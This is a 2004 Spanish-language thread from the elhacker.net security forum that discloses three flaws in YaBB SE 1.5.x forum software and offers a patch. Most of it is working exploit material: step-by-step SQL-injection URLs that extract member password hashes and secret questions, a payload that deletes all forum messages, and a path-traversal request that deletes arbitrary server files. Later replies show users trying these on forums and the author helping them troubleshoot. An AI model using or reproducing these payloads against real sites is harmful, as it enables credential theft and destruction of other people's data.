elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
12 Octubre 2008, 08:54  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  YabbSE 3 agujeros por el precio de uno
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: YabbSE 3 agujeros por el precio de uno  (Leído 2979 veces)
BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
YabbSE 3 agujeros por el precio de uno
« en: 29 Febrero 2004, 19:06 »

Recientemente alnitak y yo hemos descubierto una serie de bugs en el YabbSE. Bien el parche ya está disponible en las siguientes direcciones.

http://www.elhacker.net/foro/attachments/yabbse1.5.5patch.rar
http://www.SPAM(62)/Dowmload/yabbse1.5.5patch.rar


gracias a alnitak por la ayuda encontrando huecos y en la elaboración de los exploits. Y a el-brujo y jbex por prestar sus respectivos foros para probar los mismos  exponiendose al borrado integro de los mensajes y ficheros :) y por  hostear los exploits. En breve se publicará el informe completo en ambos sitios. De momento mejor apliquense el parche


Saludos a todos
  BackSpace
En línea
BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #1 en: 01 Marzo 2004, 02:10 »

Informe de varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b
probablemente anteriores versiones son vulnerables.


Los agujeros se encuentran en el fichero ModifyMessage.php

EL HUECO

el primer agujero es una inyección SQL, debido a que en la función
ModifyMessage no se chequea el parámetro $msg para que no contenga
valores no válidos.

Alcance de la vulnerabilidad.
 Extracción de información de la base de datos.


Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado y necesitas conocer el prefijo
 de la base de datos. Por defecto es yabbse_
2- Entra en cualquier board. ej. Dudas Generales
3- Entra en cualquier mensaje.ej. POSTS MOVIDOS
4- Ahora podemos hacer varias cosas por ejemplo usar el botón "cita:"
 o mirar el código fuente en busca de la variable sesc.
5- Luego modificamos la URL para que quede algo parecido a esto:

http://vulnhost/foro/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

http://vulnhost/foro/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12[Numero negativo para que no nos devuelva ningún mensaje])+UNION+SELECT+3[ID del mensaje puede ser cualquier cosa],null,2[Nuestro ID de usario],concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1[ID del usuario del que extraeremos el hash y la pregunta secreta]/*

y ya está. En el campo subject del formulario nos aparece
el hash del password nuestra pregunta secreta ej.

e320774659b1b23333bd033754d2ac1a-color negro.

Porque sucede esto:

Al no ser chequeada la variable $msg, esta se inserta en la sentencia SQL

$request = mysql_query("SELECT m.*, t.locked FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t WHERE (m.ID_MSG=$msg AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;") or database_error(__FILE__, __LINE__);

con el parámetro msg que le pasamos a la URL anterior

msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

la sentencia SQL nos queda asi.


SELECT m.*, t.locked FROM yabbse_messages AS m, yabbse_topics AS t WHERE (m.ID_MSG=-12) UNION
SELECT 3,null,2,concat(passwd,'-',secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null
FROM yabbse_members where ID_MEMBER=1/* AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;

todo lo que queda detrás de /* se omite, esto es una característica del MySQL.

EL HUECO RELOADED

el segundo agujero es otra inyección SQL, en la función ModifyMessage2.
No se chequea el parámetro $postid

Alcance de la vulnerabilidad.
 Borrado de datos.


1- Necesitas ser un usuario registrado. Y necesitas haber posteado el ultimo mensaje.
2- Ve a tu mensaje y pulsa el botón modify
3- Tendrás algo parecido a esto
http://vulnhost/foro/index.php?board=1;action=modify;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1
4- Cambiar donde dice action=modify por action=modify2 y agregar tres variables nuevas
subject=texto, message=texto y waction=deletemodify
5- Agregar el postid vulnerable: postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*
nos quedará:

 http://localhost/yabbse/yabbse155/index.php?board=1;action=modify2;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;subject=hola;message=hola;waction=deletemodify;postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*

Esto borrará todos los mensajes del foro.

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL

   $request = mysql_query("
         SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
         FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b
         WHERE m.ID_MSG=$postid
            AND t.ID_TOPIC=m.ID_TOPIC
            AND b.ID_BOARD=t.ID_BOARD
         LIMIT 1;"

la sentencia SQL con nuestra modificación queda asi:

SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG,
t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
WHERE m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

todo lo que queda detrás de /* se omite

Necesitamos que nuestro mensaje sea el último para que funcione nuestra inyección ya que
sino, no funcionaria esta parte m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC y necesitamos el "or 1=1" en
otra sentencia para que borre todos los mensajes.Al hacer el "ORDER BY ID_MSG DESC" nos aseguramos que el chequeo:

   if ($row['ID_MEMBER'] != $ID_MEMBER && $settings[7] != 'Administrator' && $settings[7] != 'Global Moderator' && !in_array($username, $moderators))
      fatal_error($txt[67]);

sea correcto y podamos seguir adelante. Una vez conseguido esto, se borra nuestro mensaje
 ya que se hacen deletes con el primer resultado de la sentencia anterior que como le pusimos el
ORDER DESC será nuestro mensaje. Y luego se llega a la parte que nos interesa que es la que causa
la vulnerabilidad.


$request = mysql_query("DELETE FROM {$db_prefix}messages WHERE ID_MSG=$postid LIMIT 1;")

Aqui se le pasa nuestro postid y la sentencia final quedará asi:

DELETE FROM yabbse_messages WHERE ID_MSG=2 or 1=1 ORDER BY ID_MSG DESC/* LIMIT 1;

que es una sentencia totalmente legal y lo que hace es borrar todos los mensajes
de la base de datos.

EL HUECO REVOLUTIONS

El tercer agujero es otra vulnerabilidad en la misma función. Esta vez es utilizando
la vulnerabilidad anterior del $postid y ademas porque se asume que la variable
$attachOld es buena y que viene de un formulario anterior.
Ocurre porque en la funcionalidad de borrar attachments de mensajes no se chequea
que el fichero a borrar se encuentre dentro del path de los attachments. Esta
vulnerabilidad es la mas grave de las tres porque te permite borrar cualquier fichero
conociendo el path, pero ademas te puede dar informacion acerca de la estructura de
directorios del servidor.


Alcance de la vulnerabilidad.
 Borrado de ficheros y extracción de informacion de directorios.


Como explotar la vulnerabilidad:
1- Necesitas ser un usuario registrado. Y saberte tu id de usuario.
2- Si tienes un mensaje posteado ve a ese mensaje y pulsa modify, si no tienes
un mensaje ve a otro cualquiera y pulsa "cita".

Para continuar necesitaras un proxy tipo Paros o Achilles. También lo puedes hacer
de otro modo pero es mas fastidioso asi que lo explico a lo fácil. Con el paros chequea
el Trap Request.

3- Presiona el preview y ahora vete al paros y en la linea donde dice

POST /foro/index.php?board=1;action=post2 HTTP/1.0

cambialo por

POST /foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,null,null,null,null,null,null,null,null,null/* HTTP/1.0

si te sale un error de Bases de Datos es porque el fichero se ha borrado correctamente.
Si no se pudo borrar te saldrá un error parecido a esto.

2: unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../borrame.txt): No such file or directory
(C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)

Fijense que muestra la estructura de directorios. Información muy
valiosa.

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

/foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt[Camino del fichero a borrar];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL

   $request = mysql_query("
         SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
         FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b
         WHERE m.ID_MSG=$postid
            AND t.ID_TOPIC=m.ID_TOPIC
            AND b.ID_BOARD=t.ID_BOARD
         LIMIT 1;"

la sentencia SQL con nuestra modificación queda asi:

SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG,
t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
WHERE m.ID_MSG=-1 UNION SELECT null,3,null,null,null,null,null,null,null,null,null,null
/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

el -1 hace que no nos devuelva nada legal y el
postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*
hace que el resultado sea el que nosotros queremos, la ventaja es que no tenemos que conocer l prefijo
de la base de datos, ya que SELECT null,3,null,null,null,null,null,null,null,null,null,null es una
sentencia perfectamente legal en MySQL que devuelve parámetros estáticos.

Estado del vendedor:

Viendo como se comportaron los desarrolladores de YabbSE la última vez
que les mandé un informe de vulnerabilidad, que en un mes no hicieron
nada por sacar un parche de una línea de código y lo sacaron varios
dias despues de que fuera publicada la vulnerabilidad. Además viendo
como se dedicaron a borrar todos los post en su foro que hablaban del tema.
Hemos decidido sacar un parche por nuestra cuenta y pasar de avisarles de nada.

Los parches pueden ser descargados de:


http://www.elhacker.net/foro/attachments/yabbse1.5.5patch.rar
http://www.SPAM(62)/Dowmload/yabbse1.5.5patch.rar


Créditos para:
     Alnitak y BackSpace
En línea
oRTNZ

Desconectado Desconectado

Mensajes: 814


no no soy malo... soy vicioso :p


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #2 en: 01 Marzo 2004, 16:11 »

 Ustedes saben...  como siempre lo probare ,nuevamente gracias ,  ;D
el-brujo,BackSpace y Alnitak,saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
Sardi

Desconectado Desconectado

Mensajes: 794


Fenix Sardi


Ver Perfil WWW
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #3 en: 01 Marzo 2004, 16:31 »

Yo lo e probao y van bien, pero ay un foro donde lo probe k me daba un fallo(no sek de la base de datos, y k kontactara con el administrador si salia otra vez) y no se k de puede ser, kizas sea de lo k me dijeron k avian cambiao el prefix de la db.
Alguna manera para saberlo?

salute
En línea

BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #4 en: 01 Marzo 2004, 16:42 »

Puede ser por muchas cosas. Por el prefijo de la base de datos, por que la sentencia esta mal formada, etc. De todos modos como te indica el mensaje puedes contactar al administrador para que te diga porque falla. Porque estaras probándolo en un foro tuyo o de un conocido con fines de ayudar ¿verdad?

Saludos
    BackSpace
En línea
Sardi

Desconectado Desconectado

Mensajes: 794


Fenix Sardi


Ver Perfil WWW
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #5 en: 01 Marzo 2004, 16:54 »

e probado em ,mi foro y no va porke parchee, probe en otro foro k tengo para acer la pruebas y va bien, y ahora en ese otro me dice fallo al valiar la sesion...

saludos
En línea

BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #6 en: 01 Marzo 2004, 16:57 »

Si me dices cual de los tres huecos estas probando quizas te pudiera ayudar. Pero básicamente los fallos al validar la sesión tienen que ver con el parámetro sesc

Saludos
   BackSpace
En línea
Sardi

Desconectado Desconectado

Mensajes: 794


Fenix Sardi


Ver Perfil WWW
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #7 en: 01 Marzo 2004, 17:03 »

Bueno el primer fallo, se me salia del post y no daba ningun error, y donde los post k avia ponia -x (hago algo mal), luego el de borrar los post es el k me falla, aunke lo hago todo bien porke ya prove en mi otro foro, y el tercero todavia no llegue a probarlo...

saludo
En línea

BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #8 en: 01 Marzo 2004, 17:06 »

En el segundo fallo lo único que deberia fallar es
1- O que alguien ha posteado después de ti.
2- Que esté usando un aversion vieja de MySQL que no admita el delete ........ order by ... desc

Si no no deberia fallar. Si te dá error de sesión es que estas haciendo algo mal. O está parcheado el foro :)


Saludos
   BackSpace
En línea
Azielito
Moderador Global
*****
Desconectado Desconectado

Mensajes: 6.775


>.<


Ver Perfil WWW
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #9 en: 02 Marzo 2004, 16:22 »

El archivo *.rar que esta aqui, supongo que es el parche parar dichos huecos (EL HUECO, EL HUECO RELOADED y EL HUECO REVOLUTIONS), solo subo los archivos y ya quedara listo para abrir de nuevo el foro? ???...

Solo como comentario, se me hace muy ***** lo que los creadores de YaBB SE etan haciendo, o sea NADA >:( no se por que, tal vez, solo ellos sabien y, que, posiblemente, sea de los ultimos huecos que tenga YaBB SE, no lo se, se me hace imposible pensar en sus intenciones con esa actitud que han tomado, solo pudeo decir:
>:( >:( >:( >:( >:( >:(
>:( >:( >:( >:( >:( >:(
>:( >:( >:( >:( >:( >:(

Un saludo. Nemrod.
En línea

BackSpace

Desconectado Desconectado

Mensajes: 19


¡Amo YaBB SE!


Ver Perfil
Re:YabbSE 3 agujeros por el precio de uno
« Respuesta #10 en: 02 Marzo 2004, 16:30 »

Si nemrod el archivo rar contiene el parche de los 2 agujeros. Si lees el texto que está mas arriba verás que los 3 huecos son en el mismo fichero asi que solo tienes que substituir un fichero.


Saludos

  BackSpace
En línea
Josuecuate

Desconectado Desconectado

Mensajes: 7


JoSuEcUaTe


Ver Perfil
Re: YabbSE 3 agujeros por el precio de uno
« Respuesta #11 en: 13 Agosto 2004, 13:07 »

Citar
EL HUECO REVOLUTIONS

El tercer agujero es otra vulnerabilidad en la misma función. Esta vez es utilizando
la vulnerabilidad anterior del $postid y ademas porque se asume que la variable
$attachOld es buena y que viene de un formulario anterior.
Ocurre porque en la funcionalidad de borrar attachments de mensajes no se chequea
que el fichero a borrar se encuentre dentro del path de los attachments. Esta
vulnerabilidad es la mas grave de las tres porque te permite borrar cualquier fichero
conociendo el path, pero ademas te puede dar informacion acerca de la estructura de
directorios del servidor.


Alcance de la vulnerabilidad.
 Borrado de ficheros y extracción de informacion de directorios.

Como explotar la vulnerabilidad:
1- Necesitas ser un usuario registrado. Y saberte tu id de usuario.
2- Si tienes un mensaje posteado ve a ese mensaje y pulsa modify, si no tienes
un mensaje ve a otro cualquiera y pulsa "cita".

Para continuar necesitaras un proxy tipo Paros o Achilles. También lo puedes hacer
de otro modo pero es mas fastidioso asi que lo explico a lo fácil. Con el paros chequea
el Trap Request.

3- Presiona el preview y ahora vete al paros y en la linea donde dice

POST /foro/index.php?board=1;action=post2 HTTP/1.0

cambialo por

POST /foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,null,null,null,null,null,null,null,null,null/* HTTP/1.0

si te sale un error de Bases de Datos es porque el fichero se ha borrado correctamente.
Si no se pudo borrar te saldrá un error parecido a esto.

2: unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../borrame.txt): No such file or directory
(C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)

Fijense que muestra la estructura de directorios. Información muy
valiosa.

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

/foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt[Camino del fichero a borrar];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*

Este no me sale, como utilizo el paros, donde le doy paar que me salga eso de Post POST /foro/index.php?board=1;action=post2 HTTP/1.0

y cambiarlo, como configuro el paros, para que me hjale el link.

Espero me saquen de dudas, por que no puedo ver si este funciona, una ayudita  ;D

Nos vemos y salu2  :D
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats